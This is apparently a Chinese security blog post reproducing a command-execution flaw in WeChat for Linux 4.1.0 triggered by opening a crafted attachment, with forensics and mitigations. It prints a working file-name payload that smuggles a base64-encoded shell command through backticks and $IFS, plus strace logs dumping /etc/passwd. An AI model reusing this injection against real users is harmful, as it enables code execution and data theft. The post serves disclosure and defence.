当前位置:首页>Linux>微信 Linux 版本命令执行漏洞(QVD-2026-7687)复现与验证

微信 Linux 版本命令执行漏洞(QVD-2026-7687)复现与验证

  • 2026-02-10 23:04:12
微信 Linux 版本命令执行漏洞(QVD-2026-7687)复现与验证
  • 触发条件:需要用户交互(点击“打开文件”)
  • 在野利用:暂未观察到明确的大规模在野利用证据(情报口径:in_the_wild=false),但攻击向量明确、门槛低、可利用性高

2. 背景与影响面

微信 Linux 4.1.0 已在 2025 年 11 月由微信团队发布为正式版,并提供多架构下载渠道。在 Linux 平台,用户常以“办公沟通/开发运维/科研协作”等场景使用该客户端;一旦出现命令执行问题,风险往往会从“单点终端”扩展到:

  • 终端数据泄露(聊天文件、下载目录、浏览器凭据等)
  • 横向移动(若终端具备访问内网资源的权限/密钥)
  • 持久化风险(在用户权限范围内落地后门、修改启动项等)

此外,Arch Linux 中文维基也提到腾讯在推进 “WeChat Universal” 等跨平台方案,以期缩小 Windows/Mac/Linux 的功能节奏差异,这意味着 Linux 客户端的使用与分发会进一步扩大。(Arch Linux 中文维基)


3. 漏洞机理概述

该漏洞本质可概括为:数据验证不恰当(Improper Input Validation)导致的命令执行风险。

典型成因

当应用在“打开文件/预览文件/调用外部程序处理文件”时,可能会:

  • 将文件名作为参数传入某个处理链路
  • 或将文件名拼接进系统调用/命令行参数
  • 或在路径解析中出现不安全的拆分、转义缺失

如果文件名包含某些“会被解释器或参数解析器当作语义字符”的内容,而应用未做严格白名单或安全转义,就可能出现:

  • 异常拉起 /bin/sh / bash 等解释器
  • 异常执行外部工具(解压、预览、转换、打开方式关联等)
  • 产生意外的子进程与命令执行链条

4. 攻击场景与威胁研判

4.1 攻击场景(高可行)

攻击者可将恶意构造文件伪装成常见附件类型(文档/压缩包/图片/日志等),通过聊天投递并诱导受害者点击“打开”。由于该链路依赖用户交互,常见于:

  • 定向钓鱼(社工话术 + 可信头像/群聊环境)
  • 供应链投毒(以“工具包/补丁/会议材料”等名义传播)
  • 内部横向(已入侵账号向同事群传播)

场景1

场景2

格式不局限于压缩包,比如场景1使用pdf类型和场景2.

4.2 关于“境外 IP 探测”等说法

有情报侧监测提及存在针对 Linux 微信用户端的异常行为探测迹象,但公开侧尚缺少可复核的细节与证据链,需持续观察。


5. 复现与验证方法

5.1 实验环境

  • 干净 VM:Ubuntu24.04 LTS  
  • 微信 Linux 客户端版本号如下

 微信 Linux 客户端进程与启动参数(含组件进程与 client_version)  如下

取证工具pstreestrace(可选 auditd 作为企业级审计补强)  

5.2 监控与取证

(1)进程级基线(触发前)

用于确认微信进程结构、并作为“触发前基线”

pgrep -a -i wechatpstree -ap 5726 | tee /tmp/wechat_pstree_before.txt

微信为典型多进程结构(wechat → WeChatAppEx 多分支),并伴随 wxocr/wxplayer/wxutility 等组件进程;附件处理路径很可能在 renderer/utility 等子进程中发生。

 触发前进程树截图/文本(/tmp/wechat_pstree_before.txt)    

(2)系统调用级取证(execve)

为避免仅附加主进程导致遗漏,本次对 所有 WeChat 相关 PID 附加 strace,仅抓 execve()

sudo rm -f /tmp/wechat_execve*sudo bash -c 'pids="$(pgrep -i wechat | tr "\n" " ")";echo "[*] attaching to: $pids";strace -ff -tt -s 200 -e trace=execve $(printf -- "-p %s " $pids) -o /tmp/wechat_execve'

触发完成后抽取关键命令:

grep -R "execve(" /tmp/wechat_execve* | \egrep "(/bin/sh|/usr/bin/bash|/usr/bin/cat|/usr/bin/base64|/usr/bin/xmessage)" \| tee /tmp/wechat_execve_key.txt

 关键 execve 日志片段(/tmp/wechat_execve_key.txt

aurorasec@aurorasec-VMware-Virtual-Platform:~$ cat /tmp/wechat_execve_key.txt/tmp/wechat_execve.12581:20:11:36.337228 execve("/bin/sh", ["sh", "-c", "--", "xdg-mime query filetype \"/home/aurorasec/\346\226\207\346\241\243/xwechat_files/wxid_50idzeue0x7l22_d9b6/msg/file/2026-02/\350\242\253\347\214\253\350\200\263\345\260\221\345\271\264\345\274\272\350\241\214\346\213\211\345\216\273\346\211\223\345\267\245\347\232\204\345\260\217\351\225\207\346\227\245\345\270\270\357\274\214\347\273\223\346\236\234\345\217\221\347\216\260\350\200\201\346\235\277\347\253\237\347\204\266\346\230\257\344\274\240\350\257\264\344\270\255\347\232\204\346\232\227\351\273\221"...], 0x63a320478130 /* 51 vars */) = 0/tmp/wechat_execve.12582:20:11:36.364451 execve("/usr/bin/xmessage", ["xmessage", "root:x:0:0:root:/root:/bin/bash", "daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin", "bin:x:2:2:bin:/bin:/usr/sbin/nologin", "sys:x:3:3:sys:/dev:/usr/sbin/nologin", "sync:x:4:65534:sync:/bin:/bin/sync", "games:x:5:60:games:/usr/games:/usr/sbin/nologin", "man:x:6:12:man:/var/cache/man:/usr/sbin/nologin", "lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin", "mail:x:8:8:mail:/var/mail:/usr/sbin/nologin", "news:x:9:9:news:/var/spool/news:/usr/sbin/nologin", "uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin", "proxy:x:13:13:proxy:/bin:/usr/sbin/nologin", "www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin", "backup:x:34:34:backup:/var/backups:/usr/sbin/nologin", "list:x:38:38:Mailing", "List", "Manager:/var/list:/usr/sbin/nologin", "irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin", "_apt:x:42:65534::/nonexistent:/usr/sbin/nologin", "nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin", "systemd-network:x:998:998:systemd", "Network", "Management:/:/usr/sbin/nologin", "systemd-timesync:x:996:996:systemd", "Time", "Synchronization:/:/usr/sbin/nologin", "dhcpcd:x:100:65534:DHCP", "Client", "Daemon,,,:/usr/lib/dhcpcd:/bin/false", "messagebus:x:101:101::/nonexistent:/usr/sbin/nologin", "syslog:x:102:102::/nonexistent:/usr/sbin/nologin", "systemd-resolve:x:991:991:systemd", "Resolver:/:/usr/sbin/nologin", "uuidd:x:103:103::/run/uuidd:/usr/sbin/nologin", "usbmux:x:104:46:usbmux", "daemon,,,:/var/lib/usbmux:/usr/sbin/nologin", "tss:x:105:105:TPM", "software", "stack,,,:/var/lib/tpm:/bin/false", "systemd-oom:x:990:990:systemd", "Userspace", "OOM", "Killer:/:/usr/sbin/nologin", "kernoops:x:106:65534:Kernel", "Oops", "Tracking", "Daemon,,,:/:/usr/sbin/nologin", "whoopsie:x:107:109::/nonexistent:/bin/false", "dnsmasq:x:999:65534:dnsmasq:/var/lib/misc:/usr/sbin/nologin", "avahi:x:108:111:Avahi", "mDNS", "daemon,,,:/run/avahi-daemon:/usr/sbin/nologin", "tcpdump:x:109:112::/nonexistent:/usr/sbin/nologin", "sssd:x:110:113:SSSD", "system", "user,,,:/var/lib/sss:/usr/sbin/nologin", "speech-dispatcher:x:111:29:Speech", "Dispatcher,,,:/run/speech-dispatcher:/bin/false", "cups-pk-helper:x:112:114:user", "for", "cups-pk-helper", "service,,,:/nonexistent:/usr/sbin/nologin", "fwupd-refresh:x:989:989:Firmware", "update", "daemon:/var/lib/fwupd:/usr/sbin/nologin", "saned:x:113:116::/var/lib/saned:/usr/sbin/nologin", "geoclue:x:114:117::/var/lib/geoclue:/usr/sbin/nologin", "cups-browsed:x:115:114::/nonexistent:/usr/sbin/nologin", "hplip:x:116:7:HPLIP", "system", "user,,,:/run/hplip:/bin/false", "gnome-remote-desktop:x:988:988:GNOME", "Remote", "Desktop:/var/lib/gnome-remote-desktop:/usr/sbin/nologin", "polkitd:x:987:987:User", "for", "polkitd:/:/usr/sbin/nologin", "rtkit:x:117:119:RealtimeKit,,,:/proc:/usr/sbin/nologin", "colord:x:118:120:colord", "colour", "management", "daemon,,,:/var/lib/colord:/usr/sbin/nologin", "gnome-initial-setup:x:119:65534::/run/gnome-initial-setup/:/bin/false", "gdm:x:120:121:Gnome", "Display", "Manager:/var/lib/gdm3:/bin/false", "nm-openvpn:x:121:122:NetworkManager", "OpenVPN,,,:/var/lib/openvpn/chroot:/usr/sbin/nologin", "aurorasec:x:1000:1000:AuroraSEC:/home/aurorasec:/bin/bash"], 0x578b2fbc3aa8 /* 51 vars */) = 0/tmp/wechat_execve.12585:20:11:36.346621 execve("/usr/bin/base64", ["base64", "-d"], 0x578b2fbc2598 /* 51 vars */) = 0/tmp/wechat_execve.12586:20:11:36.348337 execve("/usr/bin/bash", ["bash"], 0x578b2fbc2598 /* 51 vars */) = 0/tmp/wechat_execve.12587:20:11:36.359839 execve("/usr/bin/cat", ["cat", "/etc/passwd"], 0x5b67a7a613e0 /* 51 vars */) = 0

(3)触发后进程树与差异对比

pstree -ap 5726 | tee /tmp/wechat_pstree_after.txtdiff -u /tmp/wechat_pstree_before.txt /tmp/wechat_pstree_after.txt | tail -n 80

 触发后进程树(/tmp/wechat_pstree_after.txt)  

差异结论:用户点击“打开附件”后,wechat(<PID>) 下出现新的 WeChatAppEx(<PID>) 分支及大量线程/子进程,表明客户端在该交互点触发了额外组件链路参与附件处理;该时间点与后续 execve() 证据时间窗口相互印证。  

5.3 复现步骤

  1. 确认版本
    :微信版本、系统版本、安装来源如下

微信Linux版4.1.0.13

Ubuntu24.04 LTS  

安装来源,官网下载

https://linux.weixin.qq.com/

  1. 启动监控
    :在“打开文件”前开启进程/系统调用跟踪

先执行 pstree -ap 5726 | head -n 60  

在“打开文件”前完成两类取证基线:

  • 进程树基线:pstree ... > /tmp/wechat_pstree_before.txt
  • 系统调用取证:对所有 PID 附加 strace(仅跟踪 execve
  1. 投递特制文件
    :文件内容普通即可,重点在文件名包含异常特征

比如我们刚才的案例就是

奇创公司-项目合作框架协议_最终版V7.3_法务已审_财务条款更新_2026-02-10_需12点前反馈_仅供内部评审_请勿外传_含附件清单与签署页`xmessage$IFS$(echo${IFS}Y2F0IC9ldGMvcGFzc3dk|base64${IFS}-d|bash)`.pdf

文件内容可为普通 PDF/文档,重点在文件名包含异常特征:

  • 外观上伪装为业务常见文件名(合同/会议纪要/报表等长文件名)
  • 文件名中嵌入会被命令解析器解释的语义字符(例如:命令替换/特殊分隔符/变量展开等同类特征)
  • 本文章没有公开恶意代码,执行的命令为无害命令,无远控属性,且针对的是我个人的虚拟机进行测试,未非法对他人主机进行测试
    ,仅用于验证“附件打开 → 异常 execve 链路”这一安全结论
  1. 触发操作
    :在微信界面点击“打开”

触发RCE操作

为验证“打开附件”是否引发新的处理链路/子进程分支,本次在触发前后分别导出微信进程树并进行差异对比。对比结果显示:用户点击打开附件后,wechat(<PID>) 下新增 WeChatAppEx(<PID>) 分支及大量线程/子进程,表明该交互点触发了额外组件链路参与附件处理,该现象与后续系统调用证据在时间线上相互印证。  

  1. 记录

为验证“打开附件”是否引发新的处理链路/子进程分支,分别在触发前后导出微信进程树并进行差异对比:

  • 触发前导出基线进程树:/tmp/wechat_pstree_before.txt
  • 触发后导出进程树:/tmp/wechat_pstree_after.txt
  • 对比差异:diff -u before after

对比结果显示:在用户点击打开附件后,wechat(<PID>) 下出现新的 WeChatAppEx(<PID>) 分支及大量线程/子进程,表明客户端在该交互点触发了额外组件链路参与附件处理,与后续系统调用证据在时间线上相互印证。

  • Figure X:触发前进程树(before)
  • Figure X:触发后进程树(after)
  • Figure X:diff 差异对比(出现新增 WeChatAppEx,12340 … 分支等)

5.3.3 系统调用证据(execve:异常子进程/异常调用链)

为捕获“打开附件”是否导致外部程序被执行,本次对 WeChat 相关进程进行 strace 取证,仅跟踪 execve() 系统调用,形成可审计证据链。在触发窗口(2026-02-10 20:11:36)内捕获到关键行为:

  1. 出现 /bin/sh -c ... 执行链路(用于文件类型探测/处理);
  2. 同一时间窗口内出现解释器/工具链执行(/usr/bin/bash/usr/bin/base64 -d);
  3. 出现对系统敏感文件的读取行为(/usr/bin/cat /etc/passwd);
  4. 出现回显/弹窗程序执行(/usr/bin/xmessage),表明执行结果被消费/展示。以上行为显著偏离正常“附件预览/打开”预期,符合“命令执行风险触发”的验证口径。

结论在“仅打开附件”的用户交互场景下,出现 shell/解释器拉起、敏感文件读取以及回显程序执行等行为,显著偏离正常附件预览预期,符合“命令执行风险触发”的验证口径。

5.4 结果呈现模板

验证项

结果

是否可触发

是 

是否需要用户交互

是(打开文件触发)

是否出现异常子进程(shell/解释器)

是 

是否捕获异常 execve 调用

是 

影响评估

在当前用户权限范围内可能命令执行(高危)


6. 临时缓解与防护建议

6.1 立即措施

  • 停止使用微信 Linux ≤ 4.1.0
    (如情报所述影响版本成立),优先升级到官方后续修复版本(关注微信 Linux 官方下载/更新渠道)。补充:4.1.0 为已发布版本可参考公开报道。(IT之家)

6.2 使用侧防护(个人/企业都适用)

  • 外部文件“先落盘—重命名—再打开”:避免直接在客户端内打开陌生附件
  • 对压缩包/脚本类文件、未知来源文档提高警惕
  • 账号最小权限:避免以高权限用户运行客户端,减少命令执行后的破坏半径

6.3 系统层加固(企业建议)

  • 白名单/执行权限控制
    :限制下载目录/接收目录的可执行权限
  • EDR/XDR 规则
    :监控 wechat 进程异常拉起 /bin/shbash、解释器或异常工具链(这是该类漏洞最常见的“行为侧信号”)
  • 应用隔离/沙箱
    :对微信进程进行隔离(限制可写目录、限制拉起外部程序等)

7. 结论

 综合情报描述与本次复现实验取证证据链,在“仅打开附件”的用户交互场景下,捕获到 shell/解释器拉起、工具链执行、敏感文件读取以及回显程序执行 等异常行为,且与触发前后进程树差异在时间线上相互印证,符合命令执行风险触发的验证口径。虽然暂未看到明确的大规模在野利用确证,但该问题攻击向量明确、可利用性高,建议尽快采取临时缓解措施、强化终端监控与用户安全提醒,并持续关注官方修复与版本更新。  

最新文章

随机文章

基本 文件 流程 错误 SQL 调试
  1. 请求信息 : 2026-02-11 05:30:40 HTTP/2.0 GET : https://f.mffb.com.cn/a/474905.html
  2. 运行时间 : 0.330523s [ 吞吐率:3.03req/s ] 内存消耗:5,084.80kb 文件加载:140
  3. 缓存信息 : 0 reads,0 writes
  4. 会话信息 : SESSION_ID=c03f88d0a6ff2ca9e8843a7783edf424
  1. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/public/index.php ( 0.79 KB )
  2. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/autoload.php ( 0.17 KB )
  3. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/composer/autoload_real.php ( 2.49 KB )
  4. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/composer/platform_check.php ( 0.90 KB )
  5. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/composer/ClassLoader.php ( 14.03 KB )
  6. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/composer/autoload_static.php ( 4.90 KB )
  7. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-helper/src/helper.php ( 8.34 KB )
  8. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-validate/src/helper.php ( 2.19 KB )
  9. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/helper.php ( 1.47 KB )
  10. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/stubs/load_stubs.php ( 0.16 KB )
  11. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Exception.php ( 1.69 KB )
  12. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-container/src/Facade.php ( 2.71 KB )
  13. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/symfony/deprecation-contracts/function.php ( 0.99 KB )
  14. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/symfony/polyfill-mbstring/bootstrap.php ( 8.26 KB )
  15. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/symfony/polyfill-mbstring/bootstrap80.php ( 9.78 KB )
  16. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/symfony/var-dumper/Resources/functions/dump.php ( 1.49 KB )
  17. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-dumper/src/helper.php ( 0.18 KB )
  18. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/symfony/var-dumper/VarDumper.php ( 4.30 KB )
  19. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/App.php ( 15.30 KB )
  20. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-container/src/Container.php ( 15.76 KB )
  21. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/psr/container/src/ContainerInterface.php ( 1.02 KB )
  22. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/provider.php ( 0.19 KB )
  23. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Http.php ( 6.04 KB )
  24. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-helper/src/helper/Str.php ( 7.29 KB )
  25. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Env.php ( 4.68 KB )
  26. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/common.php ( 0.03 KB )
  27. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/helper.php ( 18.78 KB )
  28. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Config.php ( 5.54 KB )
  29. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/app.php ( 0.95 KB )
  30. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/cache.php ( 0.78 KB )
  31. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/console.php ( 0.23 KB )
  32. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/cookie.php ( 0.56 KB )
  33. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/database.php ( 2.48 KB )
  34. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/facade/Env.php ( 1.67 KB )
  35. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/filesystem.php ( 0.61 KB )
  36. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/lang.php ( 0.91 KB )
  37. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/log.php ( 1.35 KB )
  38. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/middleware.php ( 0.19 KB )
  39. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/route.php ( 1.89 KB )
  40. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/session.php ( 0.57 KB )
  41. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/trace.php ( 0.34 KB )
  42. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/view.php ( 0.82 KB )
  43. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/event.php ( 0.25 KB )
  44. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Event.php ( 7.67 KB )
  45. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/service.php ( 0.13 KB )
  46. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/AppService.php ( 0.26 KB )
  47. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Service.php ( 1.64 KB )
  48. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Lang.php ( 7.35 KB )
  49. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/lang/zh-cn.php ( 13.70 KB )
  50. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/initializer/Error.php ( 3.31 KB )
  51. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/initializer/RegisterService.php ( 1.33 KB )
  52. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/services.php ( 0.14 KB )
  53. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/service/PaginatorService.php ( 1.52 KB )
  54. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/service/ValidateService.php ( 0.99 KB )
  55. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/service/ModelService.php ( 2.04 KB )
  56. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-trace/src/Service.php ( 0.77 KB )
  57. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Middleware.php ( 6.72 KB )
  58. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/initializer/BootService.php ( 0.77 KB )
  59. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/Paginator.php ( 11.86 KB )
  60. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-validate/src/Validate.php ( 63.20 KB )
  61. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/Model.php ( 23.55 KB )
  62. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/model/concern/Attribute.php ( 21.05 KB )
  63. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/model/concern/AutoWriteData.php ( 4.21 KB )
  64. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/model/concern/Conversion.php ( 6.44 KB )
  65. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/model/concern/DbConnect.php ( 5.16 KB )
  66. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/model/concern/ModelEvent.php ( 2.33 KB )
  67. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/model/concern/RelationShip.php ( 28.29 KB )
  68. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-helper/src/contract/Arrayable.php ( 0.09 KB )
  69. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-helper/src/contract/Jsonable.php ( 0.13 KB )
  70. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/model/contract/Modelable.php ( 0.09 KB )
  71. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Db.php ( 2.88 KB )
  72. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/DbManager.php ( 8.52 KB )
  73. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Log.php ( 6.28 KB )
  74. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Manager.php ( 3.92 KB )
  75. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/psr/log/src/LoggerTrait.php ( 2.69 KB )
  76. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/psr/log/src/LoggerInterface.php ( 2.71 KB )
  77. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Cache.php ( 4.92 KB )
  78. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/psr/simple-cache/src/CacheInterface.php ( 4.71 KB )
  79. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-helper/src/helper/Arr.php ( 16.63 KB )
  80. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/cache/driver/File.php ( 7.84 KB )
  81. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/cache/Driver.php ( 9.03 KB )
  82. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/contract/CacheHandlerInterface.php ( 1.99 KB )
  83. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/Request.php ( 0.09 KB )
  84. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Request.php ( 55.78 KB )
  85. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/middleware.php ( 0.25 KB )
  86. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Pipeline.php ( 2.61 KB )
  87. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-trace/src/TraceDebug.php ( 3.40 KB )
  88. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/middleware/SessionInit.php ( 1.94 KB )
  89. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Session.php ( 1.80 KB )
  90. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/session/driver/File.php ( 6.27 KB )
  91. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/contract/SessionHandlerInterface.php ( 0.87 KB )
  92. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/session/Store.php ( 7.12 KB )
  93. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Route.php ( 23.73 KB )
  94. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/route/RuleName.php ( 5.75 KB )
  95. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/route/Domain.php ( 2.53 KB )
  96. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/route/RuleGroup.php ( 22.43 KB )
  97. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/route/Rule.php ( 26.95 KB )
  98. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/route/RuleItem.php ( 9.78 KB )
  99. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/route/app.php ( 1.72 KB )
  100. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/facade/Route.php ( 4.70 KB )
  101. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/route/dispatch/Controller.php ( 4.74 KB )
  102. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/route/Dispatch.php ( 10.44 KB )
  103. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/controller/Index.php ( 4.81 KB )
  104. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/BaseController.php ( 2.05 KB )
  105. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/facade/Db.php ( 0.93 KB )
  106. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/connector/Mysql.php ( 5.44 KB )
  107. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/PDOConnection.php ( 52.47 KB )
  108. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/Connection.php ( 8.39 KB )
  109. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/ConnectionInterface.php ( 4.57 KB )
  110. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/builder/Mysql.php ( 16.58 KB )
  111. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/Builder.php ( 24.06 KB )
  112. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/BaseBuilder.php ( 27.50 KB )
  113. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/Query.php ( 15.71 KB )
  114. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/BaseQuery.php ( 45.13 KB )
  115. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/TimeFieldQuery.php ( 7.43 KB )
  116. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/AggregateQuery.php ( 3.26 KB )
  117. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/ModelRelationQuery.php ( 20.07 KB )
  118. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/ParamsBind.php ( 3.66 KB )
  119. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/ResultOperation.php ( 7.01 KB )
  120. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/WhereQuery.php ( 19.37 KB )
  121. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/JoinAndViewQuery.php ( 7.11 KB )
  122. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/TableFieldInfo.php ( 2.63 KB )
  123. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/Transaction.php ( 2.77 KB )
